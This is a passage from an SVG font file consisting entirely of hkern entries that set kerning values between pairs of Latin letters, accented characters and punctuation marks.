<hkern u1="D" u2="W" k="30" />
<hkern u1="D" u2="V" k="50" />
<hkern u1="D" u2="T" k="45" />
<hkern u1="D" u2="J" k="5" />
<hkern u1="D" u2="A" k="40" />
<hkern u1="F" u2="&#x153;" k="25" />
<hkern u1="F" u2="&#x152;" k="20" />
<hkern u1="F" u2="&#xfc;" k="20" />
<hkern u1="F" u2="&#xfb;" k="20" />
<hkern u1="F" u2="&#xfa;" k="25" />
<hkern u1="F" u2="&#xf9;" k="20" />
<hkern u1="F" u2="&#xf8;" k="20" />
<hkern u1="F" u2="&#xf6;" k="10" />
<hkern u1="F" u2="&#xf5;" k="10" />
<hkern u1="F" u2="&#xf4;" k="10" />
<hkern u1="F" u2="&#xf3;" k="15" />
<hkern u1="F" u2="&#xf2;" k="10" />
<hkern u1="F" u2="&#xeb;" k="15" />
<hkern u1="F" u2="&#xea;" k="15" />
<hkern u1="F" u2="&#xe9;" k="20" />
<hkern u1="F" u2="&#xe8;" k="15" />
<hkern u1="F" u2="&#xe6;" k="30" />
<hkern u1="F" u2="&#xe5;" k="20" />
<hkern u1="F" u2="&#xe4;" k="20" />
<hkern u1="F" u2="&#xe3;" k="20" />
<hkern u1="F" u2="&#xe2;" k="20" />
<hkern u1="F" u2="&#xe1;" k="25" />
<hkern u1="F" u2="&#xe0;" k="20" />
<hkern u1="F" u2="&#xd8;" k="20" />
<hkern u1="F" u2="&#xd6;" k="20" />
<hkern u1="F" u2="&#xc6;" k="35" />
<hkern u1="F" u2="&#xc5;" k="70" />
<hkern u1="F" u2="&#xc4;" k="70" />
<hkern u1="F" u2="u" k="35" />
<hkern u1="F" u2="r" k="35" />
<hkern u1="F" u2="o" k="20" />
<hkern u1="F" u2="e" k="25" />
<hkern u1="F" u2="a" k="35" />
<hkern u1="F" u2="O" k="20" />
<hkern u1="F" u2="J" k="50" />
<hkern u1="F" u2="A" k="70" />
<hkern u1="F" u2="&#x2e;" k="110" />
<hkern u1="F" u2="&#x2d;" k="15" />
<hkern u1="F" u2="&#x2c;" k="110" />
<hkern u1="G" u2="&#xe000;" k="5" />
<hkern u1="G" u2="&#x178;" k="60" />
<hkern u1="G" u2="&#xc6;" k="5" />
<hkern u1="G" u2="&#xc5;" k="5" />
<hkern u1="G" u2="&#xc4;" k="5" />
<hkern u1="G" u2="&#xc3;" k="5" />
<hkern u1="G" u2="&#xc2;" k="5" />
<hkern u1="G" u2="&#xc1;" k="5" />
<hkern u1="G" u2="&#xc0;" k="5" />
<hkern u1="G" u2="Y" k="60" />
<hkern u1="G" u2="W" k="30" />
<hkern u1="G" u2="V" k="50" />
<hkern u1="G" u2="T" k="45" />
<hkern u1="G" u2="A" k="5" />
<hkern u1="J" u2="&#xc6;" k="30" />
<hkern u1="J" u2="&#xc5;" k="30" />
<hkern u1="J" u2="&#xc4;" k="30" />
<hkern u1="J" u2="A" k="30" />
<hkern u1="K" u2="&#x152;" k="45" />
<hkern u1="K" u2="&#xff;" k="60" />
<hkern u1="K" u2="&#xfd;" k="60" />
<hkern u1="K" u2="&#xfc;" k="20" />
<hkern u1="K" u2="&#xfb;" k="20" />
<hkern u1="K" u2="&#xf8;" k="30" />
<hkern u1="K" u2="&#xf6;" k="30" />
<hkern u1="K" u2="&#xeb;" k="30" />
<hkern u1="K" u2="&#xea;" k="30" />
<hkern u1="K" u2="&#xe9;" k="30" />
<hkern u1="K" u2="&#xe8;" k="30" />
<hkern u1="K" u2="&#xe6;" k="5" />
<hkern u1="K" u2="&#xe5;" k="10" />
<hkern u1="K" u2="&#xe4;" k="10" />
<hkern u1="K" u2="&#xd8;" k="50" />
<hkern u1="K" u2="&#xd6;" k="50" />
<hkern u1="K" u2="&#xc7;" k="50" />
<hkern u1="K" u2="y" k="60" />
<hkern u1="K" u2="u" k="20" />
<hkern u1="K" u2="o" k="30" />
<hkern u1="K" u2="e" k="30" />
<hkern u1="K" u2="a" k="10" />
<hkern u1="K" u2="T" k="-20" />
<hkern u1="K" u2="S" k="40" />
<hkern u1="K" u2="O" k="50" />
<hkern u1="K" u2="G" k="50" />
<hkern u1="K" u2="C" k="50" />
<hkern u1="K" u2="&#x2d;" k="45" />
<hkern u1="L" u2="&#xe000;" k="-15" />
<hkern u1="L" u2="&#x201d;" k="140" />
<hkern u1="L" u2="&#x2019;" k="150" />
<hkern u1="L" u2="&#x178;" k="120" />
<hkern u1="L" u2="&#xff;" k="55" />
<hkern u1="L" u2="&#xfd;" k="55" />
<hkern u1="L" u2="&#xfc;" k="5" />
<hkern u1="L" u2="&#xfb;" k="5" />
<hkern u1="L" u2="&#xfa;" k="5" />
<hkern u1="L" u2="&#xf9;" k="5" />
<hkern u1="L" u2="&#xdd;" k="120" />
<hkern u1="L" u2="&#xdc;" k="35" />
<hkern u1="L" u2="&#xdb;" k="35" />
<hkern u1="L" u2="&#xda;" k="35" />
<hkern u1="L" u2="&#xd9;" k="35" />
<hkern u1="L" u2="&#xd8;" k="40" />
<hkern u1="L" u2="&#xd6;" k="40" />
<hkern u1="L" u2="&#xd5;" k="40" />
<hkern u1="L" u2="&#xd4;" k="40" />
<hkern u1="L" u2="&#xd3;" k="40" />
<hkern u1="L" u2="&#xd2;" k="40" />
<hkern u1="L" u2="&#xc7;" k="40" />
<hkern u1="L" u2="&#xc6;" k="-20" />
<hkern u1="L" u2="&#xc5;" k="-15" />
<hkern u1="L" u2="&#xc4;" k="-15" />
<hkern u1="L" u2="&#xc3;" k="-15" />
<hkern u1="L" u2="&#xc2;" k="-15" />
<hkern u1="L" u2="&#xc1;" k="-15" />
<hkern u1="L" u2="&#xc0;" k="-15" />
<hkern u1="L" u2="y" k="55" />
<hkern u1="L" u2="u" k="5" />
<hkern u1="L" u2="Y" k="120" />
<hkern u1="L" u2="W" k="70" />
<hkern u1="L" u2="V" k="105" />
<hkern u1="L" u2="U" k="35" />
<hkern u1="L" u2="T" k="105" />
<hkern u1="L" u2="S" k="20" />
<hkern u1="L" u2="O" k="40" />
<hkern u1="L" u2="G" k="40" />
<hkern u1="L" u2="C" k="40" />
<hkern u1="L" u2="A" k="-15" />
<hkern u1="L" u2="&#x2d;" k="125" />
<hkern u1="N" u2="&#xe000;" k="10" />
<hkern u1="N" u2="&#xe5;" k="5" />
<hkern u1="N" u2="&#xe4;" k="5" />
<hkern u1="N" u2="&#xe3;" k="5" />
<hkern u1="N" u2="&#xe2;" k="5" />
<hkern u1="N" u2="&#xe1;" k="5" />
<hkern u1="N" u2="&#xe0;" k="5" />
<hkern u1="N" u2="&#xc7;" k="5" />
<hkern u1="N" u2="&#xc6;" k="5" />
<hkern u1="N" u2="&#xc5;" k="10" />
<hkern u1="N" u2="&#xc4;" k="10" />
<hkern u1="N" u2="&#xc3;" k="10" />
<hkern u1="N" u2="&#xc2;" k="10" />
<hkern u1="N" u2="&#xc1;" k="10" />
<hkern u1="N" u2="&#xc0;" k="10" />
<hkern u1="N" u2="a" k="5" />
<hkern u1="N" u2="C" k="5" />
<hkern u1="N" u2="A" k="10" />
<hkern u1="N" u2="&#x2e;" k="5" />
<hkern u1="N" u2="&#x2c;" k="5" />
<hkern u1="O" u2="&#xe000;" k="30" />
<hkern u1="O" u2="&#x178;" k="60" />
<hkern u1="O" u2="&#xc6;" k="40" />
<hkern u1="O" u2="&#xc5;" k="35" />
<hkern u1="O" u2="&#xc4;" k="35" />
<hkern u1="O" u2="&#xc3;" k="35" />
<hkern u1="O" u2="&#xc1;" k="35" />
<hkern u1="O" u2="&#xc0;" k="35" />
<hkern u1="O" u2="Y" k="60" />
<hkern u1="O" u2="X" k="45" />
<hkern u1="O" u2="W" k="25" />
<hkern u1="O" u2="V" k="45" />
<hkern u1="O" u2="T" k="40" />
<hkern u1="O" u2="A" k="35" />
<hkern u1="P" u2="&#x153;" k="30" />
<hkern u1="P" u2="&#xf8;" k="25" />
<hkern u1="P" u2="&#xf6;" k="25" />
<hkern u1="P" u2="&#xf4;" k="25" />
<hkern u1="P" u2="&#xeb;" k="30" />
<hkern u1="P" u2="&#xea;" k="30" />
<hkern u1="P" u2="&#xe8;" k="30" />
<hkern u1="P" u2="&#xe6;" k="25" />
<hkern u1="P" u2="&#xe5;" k="30" />
<hkern u1="P" u2="&#xe4;" k="30" />
<hkern u1="P" u2="&#xe1;" k="30" />
<hkern u1="P" u2="&#xc6;" k="85" />
<hkern u1="P" u2="&#xc5;" k="80" />
<hkern u1="P" u2="&#xc4;" k="80" />
<hkern u1="P" u2="&#xc1;" k="80" />
<hkern u1="P" u2="o" k="25" />
<hkern u1="P" u2="e" k="30" />
<hkern u1="P" u2="a" k="30" />
<hkern u1="P" u2="J" k="80" />
<hkern u1="P" u2="A" k="80" />
<hkern u1="P" u2="&#x2e;" k="135" />
<hkern u1="P" u2="&#x2d;" k="40" />
<hkern u1="P" u2="&#x2c;" k="135" />
<hkern u1="R" u2="&#x178;" k="45" />
<hkern u1="R" u2="&#x153;" k="10" />
<hkern u1="R" u2="&#x152;" k="10" />
<hkern u1="R" u2="&#xff;" k="10" />
<hkern u1="R" u2="&#xfc;" k="10" />
<hkern u1="R" u2="&#xfb;" k="10" />
<hkern u1="R" u2="&#xfa;" k="10" />
<hkern u1="R" u2="&#xf9;" k="10" />
<hkern u1="R" u2="&#xf8;" k="10" />
<hkern u1="R" u2="&#xf6;" k="10" />
<hkern u1="R" u2="&#xf5;" k="10" />
<hkern u1="R" u2="&#xf4;" k="10" />
<hkern u1="R" u2="&#xf3;" k="10" />
<hkern u1="R" u2="&#xf2;" k="10" />
<hkern u1="R" u2="&#xeb;" k="10" />
<hkern u1="R" u2="&#xea;" k="10" />
<hkern u1="R" u2="&#xe9;" k="10" />
<hkern u1="R" u2="&#xe8;" k="10" />
<hkern u1="R" u2="&#xe6;" k="10" />
<hkern u1="R" u2="&#xe5;" k="15" />
<hkern u1="R" u2="&#xe4;" k="15" />
<hkern u1="R" u2="&#xe3;" k="15" />
<hkern u1="R" u2="&#xe2;" k="15" />
<hkern u1="R" u2="&#xe1;" k="15" />
<hkern u1="R" u2="&#xe0;" k="15" />
<hkern u1="R" u2="&#xdc;" k="15" />
<hkern u1="R" u2="&#xdb;" k="15" />
<hkern u1="R" u2="&#xda;" k="15" />
<hkern u1="R" u2="&#xd9;" k="15" />
<hkern u1="R" u2="&#xd8;" k="15" />
<hkern u1="R" u2="&#xd6;" k="15" />
<hkern u1="R" u2="&#xd5;" k="15" />
<hkern u1="R" u2="&#xd4;" k="15" />
<hkern u1="R" u2="&#xd3;" k="15" />
<hkern u1="R" u2="&#xd2;" k="15" />
<hkern u1="R" u2="&#xc7;" k="15" />
<hkern u1="R" u2="y" k="10" />
<hkern u1="R" u2="u" k="10" />
<hkern u1="R" u2="o" k="10" />
<hkern u1="R" u2="e" k="10" />
<hkern u1="R" u2="a" k="15" />
<hkern u1="R" u2="Y" k="45" />
<hkern u1="R" u2="W" k="25" />
<hkern u1="R" u2="V" k="40" />
<hkern u1="R" u2="U" k="15" />
<hkern u1="R" u2="T" k="25" />
<hkern u1="R" u2="O" k="15" />
<hkern u1="R" u2="G" k="15" />
<hkern u1="R" u2="C" k="15" />
<hkern u1="S" u2="&#xe000;" k="15" />
<hkern u1="S" u2="&#x178;" k="50" />
<hkern u1="S" u2="&#xc6;" k="20" />
<hkern u1="S" u2="&#xc5;" k="20" />
<hkern u1="S" u2="&#xc4;" k="20" />
<hkern u1="S" u2="&#xc3;" k="20" />
<hkern u1="S" u2="&#xc2;" k="20" />
<hkern u1="S" u2="&#xc1;" k="20" />
<hkern u1="S" u2="&#xc0;" k="20" />
<hkern u1="S" u2="t" k="5" />
<hkern u1="S" u2="Y" k="50" />
<hkern u1="S" u2="W" k="30" />
<hkern u1="S" u2="V" k="40" />
<hkern u1="S" u2="T" k="30" />
<hkern u1="S" u2="A" k="20" />
<hkern u1="T" u2="&#x2039;" k="115" />
<hkern u1="T" u2="&#x178;" k="-20" />
<hkern u1="T" u2="&#x153;" k="30" />
<hkern u1="T" u2="&#x152;" k="20" />
<hkern u1="T" u2="&#xff;" k="50" />
<hkern u1="T" u2="&#xfd;" k="75" />
<hkern u1="T" u2="&#xfc;" k="45" />
<hkern u1="T" u2="&#xfb;" k="45" />
<hkern u1="T" u2="&#xfa;" k="70" />
<hkern u1="T" u2="&#xf9;" k="45" />
<hkern u1="T" u2="&#xf8;" k="90" />
<hkern u1="T" u2="&#xf6;" k="45" />
<hkern u1="T" u2="&#xf5;" k="45" />
<hkern u1="T" u2="&#xf4;" k="45" />
<hkern u1="T" u2="&#xf3;" k="70" />
<hkern u1="T" u2="&#xf2;" k="45" />
<hkern u1="T" u2="&#xeb;" k="50" />
<hkern u1="T" u2="&#xea;" k="50" />
<hkern u1="T" u2="&#xe9;" k="70" />
<hkern u1="T" u2="&#xe8;" k="50" />
<hkern u1="T" u2="&#xe7;" k="90" />
<hkern u1="T" u2="&#xe6;" k="40" />
<hkern u1="T" u2="&#xe5;" k="50" />
<hkern u1="T" u2="&#xe4;" k="50" />
<hkern u1="T" u2="&#xe3;" k="50" />
<hkern u1="T" u2="&#xe2;" k="50" />
<hkern u1="T" u2="&#xe1;" k="75" />
<hkern u1="T" u2="&#xe0;" k="50" />
<hkern u1="T" u2="&#xd8;" k="40" />
<hkern u1="T" u2="&#xd6;" k="40" />
<hkern u1="T" u2="&#xd5;" k="40" />
<hkern u1="T" u2="&#xd4;" k="40" />
<hkern u1="T" u2="&#xd3;" k="40" />
<hkern u1="T" u2="&#xd2;" k="40" />
<hkern u1="T" u2="&#xc7;" k="45" />
<hkern u1="T" u2="&#xc6;" k="50" />
<hkern u1="T" u2="&#xc5;" k="95" />
<hkern u1="T" u2="&#xc4;" k="95" />
<hkern u1="T" u2="&#xc3;" k="95" />
<hkern u1="T" u2="&#xc2;" k="95" />
<hkern u1="T" u2="&#xc1;" k="95" />
<hkern u1="T" u2="&#xc0;" k="95" />
<hkern u1="T" u2="&#xab;" k="120" />
<hkern u1="T" u2="y" k="100" />
<hkern u1="T" u2="w" k="95" />
<hkern u1="T" u2="v" k="95" />
<hkern u1="T" u2="u" k="90" />
<hkern u1="T" u2="s" k="90" />
<hkern u1="T" u2="r" k="90" />
<hkern u1="T" u2="o" k="90" />
<hkern u1="T" u2="g" k="90" />
<hkern u1="T" u2="e" k="95" />
<hkern u1="T" u2="c" k="90" />
<hkern u1="T" u2="a" k="100" />
<hkern u1="T" u2="Y" k="-20" />
<hkern u1="T" u2="W" k="-15" />
<hkern u1="T" u2="V" k="-10" />
<hkern u1="T" u2="S" k="25" />
<hkern u1="T" u2="O" k="40" />
<hkern u1="T" u2="J" k="100" />
<hkern u1="T" u2="G" k="45" />
<hkern u1="T" u2="C" k="45" />
<hkern u1="T" u2="A" k="95" />
<hkern u1="T" u2="&#x3b;" k="130" />
<hkern u1="T" u2="&#x3a;" k="135" />
<hkern u1="T" u2="&#x2e;" k="100" />
<hkern u1="T" u2="&#x2d;" k="75" />
<hkern u1="T" u2="&#x2c;" k="100" />
<hkern u1="U" u2="&#xf1;" k="5" />
<hkern u1="U" u2="&#xc6;" k="40" />
<hkern u1="U" u2="&#xc5;" k="35" />
<hkern u1="U" u2="&#xc4;" k="35" />
<hkern u1="U" u2="&#xc3;" k="35" />
<hkern u1="U" u2="&#xc2;" k="35" />
<hkern u1="U" u2="&#xc1;" k="35" />
<hkern u1="U" u2="&#xc0;" k="35" />
<hkern u1="U" u2="r" k="5" />
<hkern u1="U" u2="p" k="-5" />
<hkern u1="U" u2="n" k="5" />
<hkern u1="U" u2="m" k="5" />
<hkern u1="U" u2="A" k="35" />
<hkern u1="U" u2="&#x2e;" k="25" />
<hkern u1="U" u2="&#x2c;" k="25" />
<hkern u1="V" u2="&#x2039;" k="80" />
<hkern u1="V" u2="&#x153;" k="30" />
<hkern u1="V" u2="&#x152;" k="20" />
<hkern u1="V" u2="&#xff;" k="10" />
<hkern u1="V" u2="&#xfd;" k="15" />
<hkern u1="V" u2="&#xfc;" k="20" />
<hkern u1="V" u2="&#xfb;" k="20" />
<hkern u1="V" u2="&#xfa;" k="30" />
<hkern u1="V" u2="&#xf9;" k="20" />
<hkern u1="V" u2="&#xf8;" k="55" />
<hkern u1="V" u2="&#xf6;" k="30" />
<hkern u1="V" u2="&#xf5;" k="30" />
<hkern u1="V" u2="&#xf4;" k="30" />
<hkern u1="V" u2="&#xf3;" k="40" />
<hkern u1="V" u2="&#xf2;" k="30" />
<hkern u1="V" u2="&#xeb;" k="30" />
<hkern u1="V" u2="&#xea;" k="30" />
<hkern u1="V" u2="&#xe9;" k="40" />
<hkern u1="V" u2="&#xe8;" k="30" />
<hkern u1="V" u2="&#xe6;" k="40" />
<hkern u1="V" u2="&#xe5;" k="30" />
<hkern u1="V" u2="&#xe4;" k="30" />
<hkern u1="V" u2="&#xe3;" k="30" />
<hkern u1="V" u2="&#xe2;" k="30" />
<hkern u1="V" u2="&#xe1;" k="45" />
<hkern u1="V" u2="&#xe0;" k="30" />
<hkern u1="V" u2="&#xd8;" k="40" />
<hkern u1="V" u2="&#xd6;" k="40" />
<hkern u1="V" u2="&#xd5;" k="40" />
<hkern u1="V" u2="&#xd4;" k="40" />
<hkern u1="V" u2="&#xd3;" k="40" />
<hkern u1="V" u2="&#xd2;" k="40" />
<hkern u1="V" u2="&#xc7;" k="45" />
<hkern u1="V" u2="&#xc6;" k="50" />
<hkern u1="V" u2="&#xc5;" k="70" />
<hkern u1="V" u2="&#xc4;" k="70" />
<hkern u1="V" u2="&#xc3;" k="70" />
<hkern u1="V" u2="&#xc2;" k="70" />
<hkern u1="V" u2="&#xc1;" k="70" />
<hkern u1="V" u2="&#xc0;" k="70" />
<hkern u1="V" u2="&#xab;" k="85" />
<hkern u1="V" u2="y" k="20" />
<hkern u1="V" u2="u" k="40" />
<hkern u1="V" u2="r" k="40" />
<hkern u1="V" u2="o" k="55" />
<hkern u1="V" u2="g" k="50" />
<hkern u1="V" u2="e" k="55" />
<hkern u1="V" u2="a" k="60" />
<hkern u1="V" u2="T" k="-15" />
<hkern u1="V" u2="S" k="35" />
<hkern u1="V" u2="O" k="40" />
<hkern u1="V" u2="G" k="40" />
<hkern u1="V" u2="C" k="45" />
<hkern u1="V" u2="A" k="70" />
<hkern u1="V" u2="&#x3b;" k="65" />
<hkern u1="V" u2="&#x3a;" k="65" />
<hkern u1="V" u2="&#x2e;" k="90" />
<hkern u1="V" u2="&#x2d;" k="40" />
<hkern u1="V" u2="&#x2c;" k="90" />
<hkern u1="W" u2="&#x2039;" k="55" />
<hkern u1="W" u2="&#x153;" k="30" />
<hkern u1="W" u2="&#x152;" k="20" />
<hkern u1="W" u2="&#xff;" k="5" />
<hkern u1="W" u2="&#xfd;" k="5" />
<hkern u1="W" u2="&#xfc;" k="15" />
<hkern u1="W" u2="&#xfb;" k="15" />
<hkern u1="W" u2="&#xfa;" k="25" />
<hkern u1="W" u2="&#xf9;" k="15" />
<hkern u1="W" u2="&#xf8;" k="30" />
<hkern u1="W" u2="&#xf6;" k="15" />
<hkern u1="W" u2="&#xf5;" k="15" />
<hkern u1="W" u2="&#xf4;" k="15" />
<hkern u1="W" u2="&#xf3;" k="25" />
<hkern u1="W" u2="&#xf2;" k="15" />
<hkern u1="W" u2="&#xeb;" k="15" />
<hkern u1="W" u2="&#xea;" k="15" />
<hkern u1="W" u2="&#xe9;" k="25" />
<hkern u1="W" u2="&#xe8;" k="15" />
<hkern u1="W" u2="&#xe6;" k="40" />
<hkern u1="W" u2="&#xe5;" k="20" />
<hkern u1="W" u2="&#xe4;" k="20" />
<hkern u1="W" u2="&#xe3;" k="20" />
<hkern u1="W" u2="&#xe2;" k="20" />
<hkern u1="W" u2="&#xe1;" k="30" />
<hkern u1="W" u2="&#xe0;" k="20" />
<hkern u1="W" u2="&#xd8;" k="20" />
<hkern u1="W" u2="&#xd6;" k="20" />
<hkern u1="W" u2="&#xc7;" k="25" />
<hkern u1="W" u2="&#xc6;" k="50" />
<hkern u1="W" u2="&#xc5;" k="50" />
<hkern u1="W" u2="&#xc4;" k="50" />
<hkern u1="W" u2="&#xab;" k="60" />
<hkern u1="W" u2="y" k="5" />
<hkern u1="W" u2="u" k="30" />
<hkern u1="W" u2="r" k="30" />
<hkern u1="W" u2="o" k="30" />
<hkern u1="W" u2="g" k="25" />
<hkern u1="W" u2="e" k="30" />
<hkern u1="W" u2="a" k="40" />
<hkern u1="W" u2="T" k="-20" />
<hkern u1="W" u2="S" k="25" />
<hkern u1="W" u2="O" k="20" />
<hkern u1="W" u2="G" k="20" />
<hkern u1="W" u2="C" k="25" />
<hkern u1="W" u2="A" k="50" />
<hkern u1="W" u2="&#x3b;" k="55" />
<hkern u1="W" u2="&#x3a;" k="50" />
<hkern u1="W" u2="&#x2e;" k="55" />
<hkern u1="W" u2="&#x2d;" k="15" />
<hkern u1="W" u2="&#x2c;" k="55" />
<hkern u1="X" u2="&#xff;" k="60" />
<hkern u1="X" u2="&#xfc;" k="25" />
<hkern u1="X" u2="&#xfb;" k="25" />
<hkern u1="X" u2="&#xfa;" k="25" />
<hkern u1="X" u2="&#xf9;" k="25" />
<hkern u1="X" u2="&#xf8;" k="35" />
<hkern u1="X" u2="&#xf6;" k="35" />
<hkern u1="X" u2="&#xf5;" k="35" />
<hkern u1="X" u2="&#xf4;" k="35" />
<hkern u1="X" u2="&#xf3;" k="35" />
<hkern u1="X" u2="&#xf2;" k="35" />
<hkern u1="X" u2="&#xeb;" k="35" />
<hkern u1="X" u2="&#xea;" k="35" />
<hkern u1="X" u2="&#xe9;" k="35" />
<hkern u1="X" u2="&#xe8;" k="35" />
<hkern u1="X" u2="&#xe5;" k="15" />
<hkern u1="X" u2="&#xe4;" k="15" />
<hkern u1="X" u2="&#xe3;" k="15" />
<hkern u1="X" u2="&#xe2;" k="15" />
<hkern u1="X" u2="&#xe1;" k="15" />
<hkern u1="X" u2="&#xe0;" k="15" />
<hkern u1="X" u2="&#xd8;" k="45" />
<hkern u1="X" u2="&#xd6;" k="45" />
<hkern u1="X" u2="&#xd5;" k="45" />
<hkern u1="X" u2="&#xd4;" k="45" />
<hkern u1="X" u2="&#xd3;" k="45" />
<hkern u1="X" u2="&#xd2;" k="45" />
<hkern u1="X" u2="&#xc7;" k="50" />
<hkern u1="X" u2="y" k="60" />
<hkern u1="X" u2="u" k="25" />
<hkern u1="X" u2="o" k="35" />
<hkern u1="X" u2="e" k="35" />
<hkern u1="X" u2="a" k="15" />
<hkern u1="X" u2="Q" k="45" />
<hkern u1="X" u2="O" k="45" />
<hkern u1="X" u2="C" k="50" />
<hkern u1="X" u2="&#x2d;" k="50" />
<hkern u1="Y" u2="&#x2039;" k="120" />
<hkern u1="Y" u2="&#x153;" k="30" />
<hkern u1="Y" u2="&#x152;" k="20" />
<hkern u1="Y" u2="&#xfc;" k="35" />
<hkern u1="Y" u2="&#xfb;" k="35" />
<hkern u1="Y" u2="&#xfa;" k="50" />
<hkern u1="Y" u2="&#xf9;" k="35" />
<hkern u1="Y" u2="&#xf8;" k="85" />
<hkern u1="Y" u2="&#xf6;" k="45" />
<hkern u1="Y" u2="&#xf5;" k="45" />
<hkern u1="Y" u2="&#xf4;" k="45" />
<hkern u1="Y" u2="&#xf3;" k="65" />
<hkern u1="Y" u2="&#xf2;" k="45" />
<hkern u1="Y" u2="&#xeb;" k="45" />
<hkern u1="Y" u2="&#xea;" k="45" />
<hkern u1="Y" u2="&#xe9;" k="70" />
<hkern u1="Y" u2="&#xe8;" k="45" />
<hkern u1="Y" u2="&#xe6;" k="40" />
<hkern u1="Y" u2="&#xe5;" k="45" />
<hkern u1="Y" u2="&#xe4;" k="45" />
<hkern u1="Y" u2="&#xe3;" k="45" />
<hkern u1="Y" u2="&#xe2;" k="45" />
<hkern u1="Y" u2="&#xe1;" k="70" />
<hkern u1="Y" u2="&#xe0;" k="45" />
<hkern u1="Y" u2="&#xd8;" k="55" />
<hkern u1="Y" u2="&#xd6;" k="55" />
<hkern u1="Y" u2="&#xc7;" k="60" />
<hkern u1="Y" u2="&#xc6;" k="50" />
<hkern u1="Y" u2="&#xc5;" k="95" />
<hkern u1="Y" u2="&#xc4;" k="95" />
<hkern u1="Y" u2="&#xab;" k="125" />
<hkern u1="Y" u2="v" k="35" />
<hkern u1="Y" u2="u" k="65" />
<hkern u1="Y" u2="p" k="55" />
<hkern u1="Y" u2="o" k="85" />
<hkern u1="Y" u2="g" k="85" />
<hkern u1="Y" u2="e" k="90" />
<hkern u1="Y" u2="a" k="90" />
<hkern u1="Y" u2="T" k="-25" />
<hkern u1="Y" u2="S" k="40" />
<hkern u1="Y" u2="O" k="55" />
<hkern u1="Y" u2="G" k="60" />
<hkern u1="Y" u2="C" k="60" />
<hkern u1="Y" u2="A" k="95" />
<hkern u1="Y" u2="&#x3b;" k="90" />
<hkern u1="Y" u2="&#x3a;" k="85" />
<hkern u1="Y" u2="&#x2e;" k="110" />
<hkern u1="Y" u2="&#x2d;" k="85" />
<hkern u1="Y" u2="&#x2c;" k="110" />
<hkern u1="Z" u2="&#xff;" k="40" />
<hkern u1="Z" u2="y" k="40" />
<hkern u1="Z" u2="v" k="35" />
<hkern u1="a" u2="&#x2019;" k="25" />
<hkern u1="a" u2="&#xff;" k="25" />
<hkern u1="a" u2="y" k="25" />
<hkern u1="a" u2="w" k="15" />
<hkern u1="a" u2="v" k="20" />
<hkern u1="b" u2="&#xff;" k="15" />
<hkern u1="b" u2="y" k="15" />
<hkern u1="b" u2="w" k="5" />
<hkern u1="b" u2="v" k="10" />
<hkern u1="c" u2="k" k="-5" />
<hkern u1="e" u2="&#x2019;" k="20" />
<hkern u1="e" u2="&#xff;" k="20" />
<hkern u1="e" u2="y" k="20" />
<hkern u1="e" u2="x" k="25" />
<hkern u1="e" u2="w" k="10" />
<hkern u1="e" u2="v" k="15" />
<hkern u1="e" u2="t" k="10" />
<hkern u1="e" u2="V" k="55" />
<hkern u1="f" u2="&#x153;" k="10" />
<hkern u1="f" u2="&#xf8;" k="10" />
<hkern u1="f" u2="&#xf6;" k="5" />
<hkern u1="f" u2="&#xf5;" k="5" />
<hkern u1="f" u2="&#xf4;" k="5" />
<hkern u1="f" u2="&#xf3;" k="10" />
<hkern u1="f" u2="&#xf2;" k="5" />
<hkern u1="f" u2="&#xeb;" k="10" />
<hkern u1="f" u2="&#xea;" k="10" />
<hkern u1="f" u2="&#xe9;" k="10" />
<hkern u1="f" u2="&#xe8;" k="10" />
<hkern u1="f" u2="&#xe6;" k="5" />
<hkern u1="f" u2="&#xe5;" k="5" />
<hkern u1="f" u2="&#xe4;" k="5" />
<hkern u1="f" u2="&#xe3;" k="5" />
<hkern u1="f" u2="&#xe2;" k="5" />
<hkern u1="f" u2="&#xe1;" k="10" />
<hkern u1="f" u2="&#xe0;" k="5" />
<hkern u1="f" u2="t" k="-25" />
<hkern u1="f" u2="o" k="10" />
<hkern u1="f" u2="l" k="5" />
<hkern u1="f" u2="f" k="-20" />
<hkern u1="f" u2="e" k="15" />
<hkern u1="f" u2="a" k="10" />
<hkern u1="g" u2="&#xe5;" k="5" />
<hkern u1="g" u2="&#xe4;" k="5" />
<hkern u1="g" u2="&#xe3;" k="5" />
<hkern u1="g" u2="&#xe2;" k="5" />
<hkern u1="g" u2="&#xe1;" k="5" />
<hkern u1="g" u2="&#xe0;" k="5" />
<hkern u1="g" u2="a" k="5" />
<hkern u1="h" u2="&#x2019;" k="15" />
<hkern u1="h" u2="&#xff;" k="20" />
<hkern u1="h" u2="y" k="20" />
<hkern u1="k" u2="&#xfc;" k="10" />
<hkern u1="k" u2="&#xfb;" k="10" />
<hkern u1="k" u2="&#xf8;" k="20" />
<hkern u1="k" u2="&#xf6;" k="20" />
<hkern u1="k" u2="&#xeb;" k="20" />
<hkern u1="k" u2="&#xea;" k="20" />
<hkern u1="k" u2="&#xe9;" k="20" />
<hkern u1="k" u2="&#xe8;" k="20" />
<hkern u1="k" u2="u" k="10" />
<hkern u1="k" u2="s" k="5" />
<hkern u1="k" u2="o" k="20" />
<hkern u1="k" u2="g" k="15" />
<hkern u1="k" u2="e" k="20" />
<hkern u1="k" u2="W" k="15" />
<hkern u1="k" u2="V" k="30" />
<hkern u1="k" u2="&#x2d;" k="40" />
<hkern u1="l" u2="&#xff;" k="5" />
<hkern u1="l" u2="&#xfd;" k="5" />
<hkern u1="l" u2="y" k="5" />
<hkern u1="m" u2="&#xff;" k="20" />
<hkern u1="m" u2="y" k="20" />
<hkern u1="m" u2="w" k="5" />
<hkern u1="m" u2="v" k="15" />
<hkern u1="m" u2="p" k="-5" />
<hkern u1="n" u2="&#x2019;" k="15" />
<hkern u1="n" u2="&#xff;" k="20" />
<hkern u1="n" u2="y" k="20" />
<hkern u1="n" u2="w" k="5" />
<hkern u1="n" u2="v" k="15" />
<hkern u1="n" u2="p" k="-5" />
<hkern u1="n" u2="T" k="95" />
<hkern u1="o" u2="&#x2019;" k="20" />
<hkern u1="o" u2="&#xff;" k="20" />
<hkern u1="o" u2="y" k="20" />
<hkern u1="o" u2="x" k="25" />
<hkern u1="o" u2="w" k="10" />
<hkern u1="o" u2="v" k="20" />
<hkern u1="o" u2="t" k="10" />
<hkern u1="o" u2="T" k="100" />
<hkern u1="p" u2="&#xff;" k="15" />
<hkern u1="p" u2="y" k="15" />
<hkern u1="p" u2="t" k="5" />
<hkern u1="q" u2="&#xfc;" k="-5" />
<hkern u1="q" u2="&#xfb;" k="-5" />
<hkern u1="q" u2="&#xfa;" k="-5" />
<hkern u1="q" u2="&#xf9;" k="-5" />
<hkern u1="q" u2="&#xe7;" k="-10" />
<hkern u1="q" u2="u" k="-5" />
<hkern u1="q" u2="c" k="-10" />
<hkern u1="r" u2="&#x153;" k="10" />
